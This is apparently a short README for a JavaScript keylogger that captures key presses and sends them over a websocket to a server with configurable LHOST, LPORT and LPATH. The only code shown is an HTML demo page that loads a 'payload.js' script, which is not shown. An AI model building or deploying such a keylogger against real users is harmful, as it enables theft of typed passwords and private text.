This keylogger logs any key presses and it will send them to the server over a websocket. This makes it efficient when bunch of clients are connected to a server.
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JS-Keylogger</title>
<script src="payload.js" defer></script>
</head>
<body>
<textarea></textarea>
</body>
</html>- You can also change the LHOST, LPORT, and LPATH which is the route to the websocket server.